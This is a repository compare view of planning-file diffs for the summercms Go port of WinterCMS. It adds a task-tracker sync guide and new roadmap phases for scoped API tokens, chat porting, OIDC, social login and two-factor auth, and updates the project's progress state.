Compare commits
93 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 2030fd881a | |||
| 60873a3fea | |||
| 611f98e33b | |||
| fd07e2637f | |||
| e17207a00d | |||
| 1c930b6ff7 | |||
| 5a6a190e7f | |||
| 3f9d3b4f11 | |||
| 93a3112fb7 | |||
| 3019ab188b | |||
| e24e03c47d | |||
| ffdb5d00ca | |||
| 183583e0e9 | |||
| b9273c1da7 | |||
| 4d107f4ccb | |||
| c53ae6a39b | |||
| 1821f92bee | |||
| 602e0412f3 | |||
| 87953f68bf | |||
| ca1443e9c8 | |||
| 5e3c552aa1 | |||
| 9907fa94cd | |||
| 941ae80b86 | |||
| a04ba35271 | |||
| ed8210132e | |||
| e1703c7489 | |||
| aba063f723 | |||
| ee624100ef | |||
| 11be08d680 | |||
| d0b7fe4571 | |||
| 9447fedca0 | |||
| 6340bb0dbc | |||
| ae1dc75a35 | |||
| b08e8bebba | |||
| 1534b5744b | |||
| cf10ce8838 | |||
| 1ef7245263 | |||
| 3533937cc9 | |||
| f388d27604 | |||
| c532529d18 | |||
| 3158bb5b57 | |||
| 9899ac61dd | |||
| 85a12e3296 | |||
| 9652834ca0 | |||
| 7c5174eea7 | |||
| 7e113013a3 | |||
| 3da2fd65b0 | |||
| 9f5e807af6 | |||
| 3404a4b3ad | |||
| 08a20021e3 | |||
| c07da3912b | |||
| 4e0b31feb2 | |||
| b5c70b7340 | |||
| 684bfe1dc8 | |||
| 85fe541b03 | |||
| ea42f04ae0 | |||
| ea955b39ae | |||
| aba1ef7391 | |||
| f1d8a757fd | |||
| 2786faade3 | |||
| ffa6d18474 | |||
| 2a7e9761a4 | |||
| 332993c909 | |||
| 685cfc21cd | |||
| 5600c02a73 | |||
| 8237b7a19f | |||
| 4adb48a76e | |||
| 8fa92db96d | |||
| 83fa2f7b2c | |||
| 717d46ec3d | |||
| 1e20ace15c | |||
| 0754a6e5ab | |||
| 94900f233b | |||
| 9656bab214 | |||
| 433a543f85 | |||
| f734d25d05 | |||
| 967449bf62 | |||
| c21fe36de7 | |||
| 17d467e9c2 | |||
| 60892ad49b | |||
| cd25af0878 | |||
| 5be98a0c83 | |||
| cd076b881d | |||
| b319b59989 | |||
| 1920ea6462 | |||
| 99dd072f07 | |||
| b4adf751c8 | |||
| 62025d22b3 | |||
| 837e40ae6a | |||
| 837922cf43 | |||
| a8bce9c01f | |||
| 3b8527b397 | |||
| 80f4497f95 |
49
.planning/G15OFFICE.md
Normal file
49
.planning/G15OFFICE.md
Normal file
@@ -0,0 +1,49 @@
|
||||
# g15office sync
|
||||
|
||||
Todos and phases in `.planning/` are mirrored in g15office, project `summercms` (see `g15office.json`). Keep the two in sync.
|
||||
|
||||
## Todos
|
||||
|
||||
- Every todo in `todos/pending/` has a g15office task, and its frontmatter carries the task ID: `g15office: <id>`.
|
||||
- Capturing a todo creates its g15office task in the same session (type Bug, Feature, Improvement or Task; the description ends with `Local: .planning/todos/pending/<file>`). Write the ID back into the frontmatter.
|
||||
- Closing a todo (moving it to `todos/done/`) also moves its task to `Live`, or to `Rejected` if it was dropped, with a one-line comment saying where it was done.
|
||||
- A todo promoted to a phase closes into that phase's milestone task. For example, `backend-admin-api-tokens` became the Phase 16.3 task.
|
||||
|
||||
## Phases
|
||||
|
||||
Each roadmap phase has one milestone task titled `[Phase N] <name>`, type Task. Post a short comment on it whenever the phase advances (discussed, planned, a plan executed, verified, UAT, shipped), and keep its status in step:
|
||||
|
||||
| Phase state | g15office status |
|
||||
|---|---|
|
||||
| Not discussed, or discussed but not planned | To do |
|
||||
| Planned or executing | In progress |
|
||||
| Executed, waiting on verification/UAT | Testing |
|
||||
| Complete | Live |
|
||||
|
||||
A new phase, inserted or added, gets its task when it is added to `ROADMAP.md`. A todo that a phase will deliver becomes a subtask of that phase's task.
|
||||
|
||||
| Phase | Task | Phase | Task |
|
||||
|---|---|---|---|
|
||||
| 1 | 1ar7xvcd | 14.2 | fdlwwsfh |
|
||||
| 2 | 7uqoumsi | 14.2.1 | bf2wsxhz |
|
||||
| 3 | 0tszvge7 | 14.3 | utmjarsp |
|
||||
| 4 | qbwhi5u9 | 15 | qqbp8xtm |
|
||||
| 5 | 5ahymkhp | 16 | n0nuhzca |
|
||||
| 6 | altu10qm | 16.1 | y7adhmsm |
|
||||
| 7 | jzdzafce | 16.2 | gwzqpjyi |
|
||||
| 8 | 9nwkuxzo | 16.3 | 5lcivllc |
|
||||
| 9 | hrjqlvb8 | 17 | ejoiuzy4 |
|
||||
| 10 | vgrmjuwl | 18 | 46vnjevj |
|
||||
| 10.1 | hwr4istb | 18.1 | 2vriy9pw |
|
||||
| 10.2 | 6nwcght4 | 19 | 6nojs2go |
|
||||
| 11 | sz63omvi | 19.1 | uakdpkc8 |
|
||||
| 11.1 | 9crhrf7k | 19.2 | hgol7otp |
|
||||
| 11.2 | pvwvnvvi | 19.3 | lpybyjdh |
|
||||
| 12 | odwb6onw | 19.4 | l7t8dbyl |
|
||||
| 12.1 | c5wcij0a | 19.5 | onunbz3l |
|
||||
| 12.2 | hkoccgbx | 19.6 | avoroeb4 |
|
||||
| 13 | nkbr2ybg | 20 | 0rkcboo0 |
|
||||
| 14 | cwlaryop | | |
|
||||
| 14.1 | v0j5lwvq | | |
|
||||
|
||||
Backlog phase 999.1 (newsletter) has no task until it is promoted into the roadmap.
|
||||
@@ -34,6 +34,11 @@ Decimal phases appear between their surrounding integers in numeric order.
|
||||
- [ ] **Phase 18: Payment Gateway** - Port Golem15.PaymentGateway and its Stripe operator, with Horoskopia as the acceptance consumer
|
||||
- [ ] **Phase 19: Chat and ChatChannels** - Port Golem15.Chat and Golem15.ChatChannels on lighthouse
|
||||
- [ ] **Phase 19.1: Chat satellites** - Port chatbots, chatvideo, forum, herald and userfriends
|
||||
- [ ] **Phase 19.2: Chat polish against WavePath clients** - Replay WavePath's chat traffic through `tide` against the ported chat plugins until green
|
||||
- [ ] **Phase 19.3: Framework transport and infrastructure for WavePath** - Cookie refresh, credentialed CORS, cache and Redis rate limits, S3 option, OpenAPI page, Turnstile
|
||||
- [ ] **Phase 19.4: OIDC provider on wristband** - Discovery, JWKS with key rotation, id_token, userinfo, consent and pairwise subjects
|
||||
- [ ] **Phase 19.5: Social login in sm-user-plugin** - Google and Facebook login with the SPA one-time-code handoff
|
||||
- [ ] **Phase 19.6: Two-factor auth and device flow in sm-user-plugin** - TOTP, WebAuthn, email and recovery codes, trusted devices, device authorization
|
||||
- [ ] **Phase 20: Płytarium cutover** - Parity harness green, both real clients run unchanged in production
|
||||
|
||||
## Phase Details
|
||||
@@ -982,27 +987,77 @@ Plans:
|
||||
**Goal:** The Journal posts list and post form in the admin work on real imported data, found on UAT (uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts): (1) list search no longer fails with "Server error" — the Go log shows `ERROR: column Categories.post_id does not exist (SQLSTATE 42703)` from summercms@v0.1.9 modules/cabana/query.go:129, i.e. search across a belongsToMany (pivot) relation builds a hasMany join; (2) list sort and filters are remembered after opening a record and going back, as WinterCMS persisted list state; (3) the post form shows the stored content (DB has content/content_html on 104/104 posts, the form shows it empty); (4) the post form shows the stored excerpt (100/104 posts have it in the DB). Fixes span summercms.go core (modules/cabana — coordinate with the concurrent session working in modules/) and sm-journal-plugin; release a summercms tag, bump the host, redeploy to UAT and re-run the staging smoke.
|
||||
**Requirements**: TBD
|
||||
**Depends on:** Phase 16
|
||||
**Plans:** 1/3 plans executed
|
||||
**Plans:** 3/3 plans complete
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 16.1-01-PLAN.md — All fixes: cabana relation search and to-many sort through EXISTS/correlated subqueries (D-02), default locale first in form enabledLocales (D-03), Journal FormatHTML keeps raw HTML behind the gate (D-03), admin list state in the URL and browser storage (D-01)
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [ ] 16.1-02-PLAN.md — Release gate (human), summercms tag, journal and host bumps, UAT redeploy and on-server smoke, re-save posts 53 and 64 (D-04)
|
||||
- [x] 16.1-02-PLAN.md — Release gate (human), summercms tag, journal and host bumps, UAT redeploy and on-server smoke, re-save posts 53 and 64 (D-04)
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [ ] 16.1-03-PLAN.md — Unit tests: DryRun SQL matrix, locale order, FormatHTML keep/refuse, list-state vitest; Postgres tests for a Docker host; phase gate
|
||||
- [x] 16.1-03-PLAN.md — Unit tests: DryRun SQL matrix, locale order, FormatHTML keep/refuse, list-state vitest; Postgres tests for a Docker host; phase gate
|
||||
|
||||
### Phase 16.2: Plugin-provided field types and the Blog Editor formwidget (INSERTED)
|
||||
|
||||
**Goal:** Plugins can register their own admin form field types (todo: cabana-richeditor-field-type), and the Journal plugin ships a first-class Blog Editor formwidget for post content — beyond the current markdown field or a plain rich editor — that edits imported HTML posts losslessly.
|
||||
**Requirements**: TBD
|
||||
**Depends on:** Phase 16.1
|
||||
**Plans:** 0 plans
|
||||
**Plans:** 7/7 plans complete
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run /msd-plan-phase 16.2 to break down)
|
||||
**Wave 1**
|
||||
- [x] 16.2-01-PLAN.md — Framework (summercms.go): pact field-type API (human API checkpoint), cabana registry, boot option checks, Decode/Load/list in the save transaction, Decode notices as meta.notices (D-10 strip report), untouched skip, FieldWritesFromContext, field-types and field upload routes, OpenAPI and TS types, SPA PluginField/MLPluginField, global loader and notice display, dist, READMEs and docs
|
||||
- [x] 16.2-02-PLAN.md — Journal Blog Editor element (sm-journal-plugin assets/src to assets/dist): TipTap package check (human), untouched value contract, lossless schema and serializer, policy-safe links, uploads and YouTube embeds, the committed editor-output corpus, JS build, vitest, check-dist, embed
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 16.2-03-PLAN.md — Journal Go integration: blogeditor and mlblogeditor types, strip-and-report Decode per locale (SanitizeHTMLReport), D-07 Load, post and category fields (category 422 gate retired), content_html companion writes without goldmark, bluemonday policy extended for the editor's own output (corpus test), editor uploads through the extracted media storage
|
||||
- [x] 16.2-04-PLAN.md — vue-journal-layer: sanitize-html mirror extended for the editor's own output (corpus copy), expandEmbeds as the last step after sanitizeJournalHtml, SSR proof, tag v0.2.0 (human push gate), pin in vue-grzybyfunkcjonalne-app
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [x] 16.2-05-PLAN.md — Release gate (human), summercms tag v0.1.18 (next free), journal and host bumps, UAT redeploy and on-server smoke, UAT acceptance: untouched re-saves byte-identical, editor edit with upload and embed, unsafe markup stripped and reported
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [x] 16.2-06-PLAN.md — Unit tests: resave contract at every layer, strip-and-report and notices, policy cross-check corpus (both policies, identical copies), category strip, full Go and JS coverage, Postgres tests for a Docker host, phase gate scripts/check-phase16.2.sh, validation map
|
||||
|
||||
**Wave 5** *(gap closure, blocked on Wave 4 completion)*
|
||||
- [x] 16.2-07-PLAN.md — Gap closure G-16.2-1 and G-16.2-2: conformance cases for GET /field-types and the field upload route, Docker-free route inventory in the gate, TestJournalSVGEmbed fix; Journal post/category admin saves purge the host Nuxt route cache after commit through a token-protected vue-journal-layer route (browsers revalidate); full gate incl. postgres, release summercms v0.1.20 and vue-journal-layer v0.3.0, UAT redeploy, re-run of UAT Tests 3 and 2
|
||||
|
||||
### Phase 16.3: Backend admin personal API tokens with scopes (INSERTED)
|
||||
|
||||
**Goal:** Backend users can create personal API tokens with a scope they pick at creation time (for example Journal only, or system-wide; later read-only Payment Gateway), so an agent or integration can call the admin and plugin APIs as that backend user, with no more access than the token's scope and the user's own permissions allow. This is the successor of Apparatus `PersonalApiToken` (todo `backend-admin-api-tokens.md`, note `apparatus-dissolved-into-framework.md`) and reverses the Phase 15 D-15 rule that Journal writes accept only a backend JWT.
|
||||
**Requirements**: TBD
|
||||
**Depends on:** Phase 9, Phase 10, Phase 15
|
||||
**Repos:** `summercms.go` (bouncer guard, token model and migration, scope registry, admin SPA panel, CLI); `sm-journal-plugin` to register its scope and accept tokens on its write routes; host applications only for the version bump
|
||||
**Constraints from explore (2026-10-10):**
|
||||
- Tokens keep the `g15_` prefix and are stored only as a hash. The rest of the format can change, and WinterCMS Apparatus tokens are not migrated.
|
||||
- The user picks the scope when creating a token. Plugins register their own scopes. Scope design (names, read-only variants, system-wide) is settled in discuss-phase.
|
||||
- Tokens are managed in two places, as in WinterCMS: a panel on the admin SPA backend user form (create, show once, revoke) and a `summer` CLI command.
|
||||
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. The `backend` guard accepts a valid, unexpired, unrevoked `g15_` token as well as the backend JWT, and the request runs as the token's backend user.
|
||||
2. A request outside the token's scope is refused even when the user's role would allow it, and a token never grants more than its owner's permissions.
|
||||
3. A backend user can create, list and revoke their own tokens in the admin SPA. The plaintext token is shown once. A CLI command does the same for any backend user.
|
||||
4. The Journal API accepts a Journal-scoped token for writes, so an agent can manage blog posts as a backend author.
|
||||
5. Module READMEs and `docs/` cover the token API, scopes and CLI commands.
|
||||
6. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 2/4 plans executed
|
||||
|
||||
Plans:
|
||||
**Wave 1**
|
||||
- [x] 16.3-01-PLAN.md — Framework (summercms.go): pact.HasTokenScopes, bouncer scope limit, Allows rewrite (scope before the superuser shortcut), backend_api_tokens migration, composite backend guard, interactive-only marker, route gates, published cabana.ResolveBackend, account token API with OpenAPI and inventories, admin:token:* CLI with party.Activated and summer delegates, READMEs and docs
|
||||
|
||||
**Wave 2** *(blocked on Wave 1 completion)*
|
||||
- [x] 16.3-02-PLAN.md — Admin SPA API tokens card on My account per UI-SPEC: list states, two-step create with show-once plaintext and copy, revoke, phrase keys, dist, docs
|
||||
|
||||
**Wave 3** *(blocked on Wave 2 completion)*
|
||||
- [ ] 16.3-03-PLAN.md — Journal: journal and journal:read scopes, token auth through ResolveBackend with byte-identical bodies (reverses Phase 15 D-15), Journal README and the ResolveBackend docs example; release gate (human), summercms tag after v0.1.20, Journal go.mod and host gitlink bumps
|
||||
|
||||
**Wave 4** *(blocked on Wave 3 completion)*
|
||||
- [ ] 16.3-04-PLAN.md — Unit tests: scope rules, route classification, guard, resolver, account API, CLI, migration, SPA backstops, Journal token matrix; Postgres tests for a Docker host; phase gate scripts/check-phase16.3.sh; validation map
|
||||
|
||||
### Phase 17: Blog companions
|
||||
|
||||
@@ -1074,7 +1129,7 @@ Plans:
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 11
|
||||
**Repos:** `sm-chat-plugin` and `sm-chatchannels-plugin` (new, under `git.golem15.com/golem15/`); `summercms.go` only if `lighthouse` is missing a feature
|
||||
**Port sources:** `/media/nvme/dev/jz/wavepath.org/plugins/golem15/{chat,chatchannels}`. Wavepath is the heaviest user. Check its copy (with `root_id` threading) against the starter's before choosing the source.
|
||||
**Port sources:** `/media/nvme/dev/jz/wavepath.org/plugins/golem15/{chat,chatchannels}`. Port the Wavepath copy (with `root_id` threading and `thread_summaries`); decided 2026-10-11, see `.planning/notes/wavepath-framework-asks-division.md`.
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
@@ -1108,11 +1163,107 @@ Plans:
|
||||
Plans:
|
||||
- [ ] TBD (run $gsd-plan-phase 19.1 to break down)
|
||||
|
||||
### Phase 19.2: Chat polish against WavePath clients (INSERTED)
|
||||
|
||||
**Goal:** The ported chat and chat satellites carry WavePath's chat traffic exactly as PHP does. The chat routes that WavePath's clients call are recorded with `tide`, replayed against the Go plugins and fixed until green, so that chat, the core feature of WavePath, is not the risk in the WavePath migration.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 19, Phase 19.1
|
||||
**Repos:** `sm-chat-plugin`, `sm-chatchannels-plugin` and the satellite repos; `summercms.go` only for `lighthouse` or `tide` gaps
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. A `tide` corpus of the chat, channel, thread, video-room and push routes, recorded from the PHP backend through `vue-wavepath-app`, `wavepath-mcp` and `hubot-wavepath`, replays green against the Go plugins.
|
||||
2. Realtime events on the `chat`, `video` and `presence:` namespaces match the PHP broadcasts recorded by the `tide` Centrifugo recorder.
|
||||
3. Behaviour stays neutral to the other consumers of these plugins (QuestStream, Horoskopia, Portal). Framework READMEs and docs still name no application.
|
||||
4. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 0 plans
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run /msd-plan-phase 19.2 to break down)
|
||||
|
||||
### Phase 19.3: Framework transport and infrastructure for WavePath (INSERTED)
|
||||
|
||||
**Goal:** The framework has the transport and infrastructure pieces a multi-client, multi-instance application needs: JWT cookie refresh across subdomains, credentialed CORS, a cache module with a Redis-backed rate-limit store, an S3 blob option, an OpenAPI page and Turnstile verification.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 11
|
||||
**Repos:** `summercms.go`
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. `bouncer` refresh issues a new httpOnly `token` cookie whose `Domain`, `SameSite` and `Secure` attributes are configurable to match PHP, and blacklists the old JTI. The 60-minute TTL and 14-day refresh window are config keys, and credentialed CORS for a configured SPA origin is available as middleware.
|
||||
2. A cache module ships with memory and Redis drivers, and `surf` gains a Redis-backed `Store`, so rate limits hold across instances. The Redis client dependency has a decision note before code lands.
|
||||
3. An S3 blob driver can be selected through framework config, so the application does not import it. `/api-docs` and `/api-docs.json` can be served. Turnstile verification middleware is available.
|
||||
4. The touched modules' READMEs and `docs/` pages are updated. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 0 plans
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run /msd-plan-phase 19.3 to break down)
|
||||
|
||||
### Phase 19.4: OIDC provider on wristband (INSERTED)
|
||||
|
||||
**Goal:** `wristband` is a full OpenID Connect provider that existing relying parties can switch to without noticing: discovery, JWKS with asymmetric signing and key rotation, `id_token`, userinfo, resumable authorization with account switching, a consent store and pairwise subjects. The existing issuer, signing keys and client secrets carry over.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 8, Phase 19.3
|
||||
**Repos:** `summercms.go`
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. A decision note settles whether the full OIDC provider extends the hand-written `wristband` server or puts zitadel/oidc v3 behind it, before code lands.
|
||||
2. `/.well-known/openid-configuration`, the JWKS endpoint, userinfo and `id_token` in the token response work with RS256 or ES256 keys. Rotation publishes the old and the new key together.
|
||||
3. The authorization flow supports resuming a request, switching account, the consent list and revocation, and pairwise and public subjects. A scheduled prune job removes expired codes, tokens and requests.
|
||||
4. An existing issuer, its signing keys and client secrets can be imported so that relying parties keep working. The phase gets a security review.
|
||||
5. The `wristband` README and `docs/` pages are updated. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 0 plans
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run /msd-plan-phase 19.4 to break down)
|
||||
|
||||
### Phase 19.5: Social login in sm-user-plugin (INSERTED)
|
||||
|
||||
**Goal:** `sm-user-plugin` signs users in with Google and Facebook through `/oauth/{provider}` and its callback, with a provider registry open to more providers, the SPA one-time-code handoff and the pending-registration branch, matching the PHP user plugin's contract.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 19.3
|
||||
**Repos:** `sm-user-plugin`; `summercms.go` only if a provider client belongs in the framework
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. `/oauth/google` and `/oauth/facebook` and their callbacks keep the PHP paths, because desktop shells hard-code them.
|
||||
2. SPA mode (`?mode=spa&frontend_callback=…`) redirects with a one-time code that `oauth-complete` exchanges. A new social user who still needs profile completion goes through `oauth-register-complete`.
|
||||
3. Identities are linked on login and listed and unlinked through the existing identity routes. Both applications that consume the plugin still build and pass their tests.
|
||||
4. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 0 plans
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run /msd-plan-phase 19.5 to break down)
|
||||
|
||||
### Phase 19.6: Two-factor auth and device flow in sm-user-plugin (INSERTED)
|
||||
|
||||
**Goal:** `sm-user-plugin` has the PHP user plugin's second factors and device login: TOTP, WebAuthn, email codes, recovery codes and trusted devices, a challenge step during login, and QR/code device authorization.
|
||||
**Mode:** mvp
|
||||
**Depends on:** Phase 19.3
|
||||
**Repos:** `sm-user-plugin`
|
||||
**Requirements**: TBD
|
||||
**Success Criteria** (what must be TRUE):
|
||||
|
||||
1. TOTP setup, confirm and disable; WebAuthn registration and login challenges; email codes; recovery codes; and trusted devices all work against the PHP contract. The WebAuthn dependency has a decision note before code lands.
|
||||
2. Login with a second factor enabled returns the unauthenticated challenge step, rate-limited by the `2fa-verify` bucket.
|
||||
3. Device authorization (`devices/initiate`, `devices/status/{token}`, `devices/authorize`, and the device list and revoke) works on the `DeviceAuthSession` model.
|
||||
4. The models TwoFactorMethod, TwoFactorChallenge, TwoFactorRecoveryCode, TrustedDevice, WebAuthnCredential and DeviceAuthSession and their migrations are ported. The phase gets a security review. The new code has unit tests, delivered in the phase's last plan.
|
||||
|
||||
**Plans:** 0 plans
|
||||
|
||||
Plans:
|
||||
- [ ] TBD (run /msd-plan-phase 19.6 to break down)
|
||||
|
||||
### Phase 20: Płytarium cutover
|
||||
|
||||
**Goal**: The parity harness is green on every manifest route and `vue-fonoteka-app` and `fonoteka-mcp` run unchanged against the Go backend in daily use in production — the Płytarium definition of done.
|
||||
**Mode:** mvp
|
||||
**Depends on**: Phase 2, Phase 8, Phase 9, Phase 10, Phase 12, Phase 12.1, Phase 13, Phase 14, Phase 14.1, Phase 14.2, Phase 15, Phase 16
|
||||
**Depends on**: Phase 2, Phase 8, Phase 9, Phase 10, Phase 12, Phase 12.1, Phase 13, Phase 14, Phase 14.1, Phase 14.2, Phase 15, Phase 16, Phases 19 to 19.6 (decided 2026-10-11: the 19.x WavePath readiness work lands before the cutover)
|
||||
**Repos:** fonoteka.go, summercms.go
|
||||
**Requirements**: API-09, QA-05
|
||||
**Success Criteria** (what must be TRUE):
|
||||
@@ -1127,7 +1278,7 @@ Plans:
|
||||
## Progress
|
||||
|
||||
**Execution Order:**
|
||||
Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 → 9 → 10 → 11 → 12 → 13 → 14 → 14.1 → 14.2 → 14.2.1 → 14.3 → 15 → 16 → 17 → 18 → 18.1 → 19 → 19.1 → 20
|
||||
Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 → 9 → 10 → 11 → 12 → 13 → 14 → 14.1 → 14.2 → 14.2.1 → 14.3 → 15 → 16 → 17 → 18 → 18.1 → 19 → 19.1 → 19.2 → 19.3 → 19.4 → 19.5 → 19.6 → 20
|
||||
(Phase 2 depends on Phase 1's command kernel; the two are no longer parallel.)
|
||||
|
||||
| Phase | Plans Complete | Status | Completed |
|
||||
@@ -1158,6 +1309,11 @@ Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 →
|
||||
| 18.1. Payment Gateway Subscriptions | 0/TBD | Not started | - |
|
||||
| 19. Chat and ChatChannels | 0/TBD | Not started | - |
|
||||
| 19.1. Chat satellites | 0/TBD | Not started | - |
|
||||
| 19.2. Chat polish against WavePath clients | 0/TBD | Not started | - |
|
||||
| 19.3. Framework transport and infrastructure for WavePath | 0/TBD | Not started | - |
|
||||
| 19.4. OIDC provider on wristband | 0/TBD | Not started | - |
|
||||
| 19.5. Social login in sm-user-plugin | 0/TBD | Not started | - |
|
||||
| 19.6. Two-factor auth and device flow in sm-user-plugin | 0/TBD | Not started | - |
|
||||
| 20. Płytarium cutover | 0/TBD | Not started | - |
|
||||
|
||||
## Backlog
|
||||
|
||||
@@ -1,19 +1,19 @@
|
||||
---
|
||||
msd_state_version: "1.0"
|
||||
milestone: v1.0
|
||||
current_phase: "16.1"
|
||||
current_phase_name: "Journal admin urgent fixes: relation search, list state, post form content and excerpt (INSERTED)"
|
||||
current_phase: "16.3"
|
||||
current_phase_name: Backend admin personal API tokens with scopes
|
||||
status: executing
|
||||
stopped_at: Completed 16.1-01-PLAN.md
|
||||
last_updated: "2026-10-09T19:05:48.037Z"
|
||||
last_activity: 2026-10-09
|
||||
last_activity_desc: Phase 16.1 execution started
|
||||
state_head: 0ec2e31ffa19b38470109a4ff0eefa518ec0e803
|
||||
stopped_at: Completed 16.3-02-PLAN.md
|
||||
last_updated: "2026-10-11T00:07:52.680Z"
|
||||
last_activity: 2026-10-11
|
||||
last_activity_desc: Completed 16.3-02 admin SPA API tokens card
|
||||
state_head: fd07e2637fce8ca9bd6294ca611e6acc4137ef4a
|
||||
progress:
|
||||
total_phases: 34
|
||||
total_phases: 40
|
||||
completed_phases: 13
|
||||
total_plans: 151
|
||||
completed_plans: 145
|
||||
total_plans: 162
|
||||
completed_plans: 156
|
||||
gsd_state_version: "1.0"
|
||||
milestone_name: milestone
|
||||
---
|
||||
@@ -25,22 +25,22 @@ milestone_name: milestone
|
||||
See: .planning/PROJECT.md (updated 2026-09-16)
|
||||
|
||||
**Core value:** An existing WinterCMS-shaped app can be ported plugin by plugin to a single Go binary without its frontend noticing: the PHP version's API contract is the acceptance test.
|
||||
**Current focus:** Phase 16.1 — Journal admin urgent fixes: relation search, list state, post form content and excerpt (INSERTED)
|
||||
**Current focus:** Phase 16.3 — Backend admin personal API tokens with scopes
|
||||
|
||||
## Current Position
|
||||
|
||||
Phase: 16.1 (Journal admin urgent fixes: relation search, list state, post form content and excerpt (INSERTED)) — EXECUTING
|
||||
Plan: 2 of 3
|
||||
Phase: 16.3 (Backend admin personal API tokens with scopes) — EXECUTING
|
||||
Plan: 3 of 4
|
||||
Status: Ready to execute
|
||||
Last activity: 2026-10-09 — Phase 16.1 execution started
|
||||
Last activity: 2026-10-11 — Completed 16.3-02 (admin SPA API tokens card)
|
||||
|
||||
Progress: [██████████] 100%
|
||||
Progress: [█████░░░░░] 48%
|
||||
|
||||
## Performance Metrics
|
||||
|
||||
**Velocity:**
|
||||
|
||||
- Total plans completed: 65
|
||||
- Total plans completed: 71
|
||||
- Average duration: 21 min
|
||||
- Total execution time: 104 min
|
||||
|
||||
@@ -59,6 +59,7 @@ Progress: [██████████] 100%
|
||||
| 10 | 5 | - | - |
|
||||
| 10.2 | 2 | - | - |
|
||||
| 14.1 | 2 | - | - |
|
||||
| 16.2 | 7 | - | - |
|
||||
|
||||
**Recent Trend:**
|
||||
|
||||
@@ -200,6 +201,16 @@ Progress: [██████████] 100%
|
||||
| Phase 16 P04 | 40min | 3 tasks | 10 files |
|
||||
| Phase 16 P05 | 19 min | 3 tasks | 27 files |
|
||||
| Phase 16.1 P01 | 11 min | 4 tasks | 20 files |
|
||||
| Phase 16.1 P02 | 1h 26m | 3 tasks | 4 files |
|
||||
| Phase 16.1 P03 | 12 min | 3 tasks | 8 files |
|
||||
| Phase 16.2 P01 | 34min | 4 tasks | 51 files |
|
||||
| Phase 16.2 P02 | 25min | 3 tasks | 24 files |
|
||||
| Phase 16.2 P03 | 13min | 3 tasks | 21 files |
|
||||
| Phase 16.2 P04 | 50 min | 3 tasks | 15 files |
|
||||
| Phase 16.2 P05 | 25 min | 3 tasks | 7 files |
|
||||
| Phase 16.2 P06 | 43min | 3 tasks | - files |
|
||||
| Phase 16.3 P01 | 95 | 4 tasks | 43 files |
|
||||
| Phase 16.3 P02 | 9 min | 3 tasks | 17 files |
|
||||
|
||||
## Accumulated Context
|
||||
|
||||
@@ -225,6 +236,12 @@ Progress: [██████████] 100%
|
||||
- Phase 18.1 inserted after Phase 18: Payment Gateway Subscriptions (split from Phase 18 per 18-CONTEXT D-01)
|
||||
- Phase 16.1 inserted after Phase 16: Journal admin urgent fixes: relation search, list state, post form content and excerpt (found on UAT) (URGENT)
|
||||
- Phase 16.2 inserted after Phase 16.1: Plugin-provided field types and the Blog Editor formwidget
|
||||
- Phase 16.3 inserted after Phase 16: Backend admin personal API tokens with user-selected scopes (Journal agent writes as backend author); successor of Apparatus PersonalApiToken (URGENT)
|
||||
- Phase 19.2 inserted after Phase 19.1: Chat polish against WavePath clients (WavePath framework asks, 2026-10-11)
|
||||
- Phase 19.3 inserted after Phase 19.2: Framework transport and infrastructure for WavePath (WavePath framework asks, 2026-10-11)
|
||||
- Phase 19.4 inserted after Phase 19.3: OIDC provider on wristband (WavePath framework asks, 2026-10-11)
|
||||
- Phase 19.5 inserted after Phase 19.4: Social login in sm-user-plugin (WavePath framework asks, 2026-10-11)
|
||||
- Phase 19.6 inserted after Phase 19.5: Two-factor auth and device flow in sm-user-plugin (WavePath framework asks, 2026-10-11)
|
||||
|
||||
### Decisions
|
||||
|
||||
@@ -649,6 +666,30 @@ Recent decisions affecting current work:
|
||||
- [Phase 16.1]: meta.enabledLocales lists the default content locale first, then the writer's order
|
||||
- [Phase 16.1]: Journal FormatHTML renders raw HTML (goldmark WithUnsafe) behind the unchanged rejectUnsafe gate
|
||||
- [Phase 16.1]: List state: URL plus per-list localStorage key summer-admin.list:<controller>, restored before the first list request, cleared on logout
|
||||
- [Phase 16.1]: 16.1-02: summercms v0.1.16 tagged on d77393b after the human chose docker-first; journal a675f2f and host cac2ee7 pushed; UAT redeployed
|
||||
- [Phase 16.1]: 16.1-02: UAT Go log checks read /var/log/supervisor/grzybyfunkcjonalne-go.log directly; supervisorctl tail fails on ANSI escapes in GORM log lines and makes grep-count checks vacuous
|
||||
